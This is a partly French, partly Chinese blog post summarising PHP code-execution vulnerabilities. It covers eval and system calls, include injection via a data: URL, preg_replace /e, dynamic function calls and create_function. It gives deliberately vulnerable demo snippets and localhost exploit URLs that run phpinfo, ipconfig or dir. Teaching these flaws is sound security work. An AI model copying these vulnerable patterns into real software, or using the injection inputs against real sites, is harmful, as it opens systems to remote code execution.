Maison  >  Article  >  développement back-end  >  Résumé des vulnérabilités d'exécution de code PHP

Résumé des vulnérabilités d'exécution de code PHP

不言
不言original
2018-04-24 09:49:595980parcourir

Cet article présente un résumé des vulnérabilités d'exécution de code PHP, qui a une certaine valeur de référence. Maintenant, je le partage avec tout le monde. Les amis dans le besoin peuvent s'y référer

Résumé des vulnérabilités d'exécution de code PHP

<.>


ref : http://blog.csdn.net/kuangmang/article/details/27170309

ref : http://blog.csdn.net/fuckcat_2333/article/details /52125951

1 Fonction d'exécution de code

Les fonctions qui peuvent exécuter du code en php sont : eval(), assert(), ``, system(), exec(), shell_exec() , Lorsque les paramètres (partiellement) dans passthru(), pcntl_exec()

ces fonctions sont contrôlables, des vulnérabilités d'injection de commandes peuvent survenir. Escapeshellarg est généralement utilisé pour traiter les paramètres, mais il existe une vulnérabilité dans cette fonction dans la version inférieure de la fonction de la bibliothèque PHP (raison : les barres obliques inverses ne sont pas filtrées sous Windows), vous devez donc faire attention.

2 Injection de code d'inclusion de fichier

Lorsque des variables d'entrée sont incluses dans des fonctions d'inclusion de fichier (include, include_once, require, require_once), une injection de code peut se produire.

Conditions : Allow_url_include=On, PHP Version>=5.2.0
Code démo :

<?phpinclude($_GET[&#39;a&#39;]);?>
Visitez http://127.0.0.1/demo.php?a=data:text/ plain,%3C?php%20phpinfo%28%29;?%3E, phpinfo() est exécuté.

3 Injection de code d'expression régulière

Fonction preg_replace() :

Lorsque le modificateur de mode /e existe dans le modèle et correspond, le code du remplacement peut être exécuté.

3.1 第一个(pattern)参数注入

条件:magic_quotes_gpc=Off,pattern参数中注入/e选项;
demo code:

<?phpecho $regexp = $_GET[&#39;reg&#39;];
$var = &#39;<php>phpinfo()</php>';
preg_replace("/<php>(.*?)$regexp", '\\1', $var);?>

访问http://127.0.0.1/preg_replace1.php?reg=%3C/php%3E/e
即会执行phpinfo()

3.2 第二个人(replacement)参数注入

条件:pattern参数中带/e

<?phppreg_replace("/testxxx/e",$_GET[&#39;h&#39;],"jutst test testxxx!");?>

提交 http://127.0.0.1/demo2.php?h=phpinfo()时, 即 执行phpinfo()。

3.3 第三个参数注射

4 动态代码执行

4.1 动态变量代码执行

<?php$dyn_func = $_GET[&#39;dyn_func&#39;];
$argument = $_GET[&#39;argument&#39;];
$dyn_func($argument);?>

当http://127.0.0.1/dyn_func.php?dyn_func=system&argument=ipconfig时,执行ipconfig命令

4.2 动态函数代码执行

关键函数:create_function
demo code:

<?php$foobar = $_GET[&#39;foobar&#39;];$dyn_func = create_function(&#39;$foobar&#39;, "echo $foobar;");$dyn_func(&#39;&#39;);?>

当提交http://127.0.0.1/create_function.php?foobar=system%28dir%29时,执行dir命令

5 其他

array_map()函数
ob_start()函数???
函数处理函数:http://www.php.net/manual/zh/book.funchand.php

相关推荐:

PHP执行程序php.exe参数解析

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn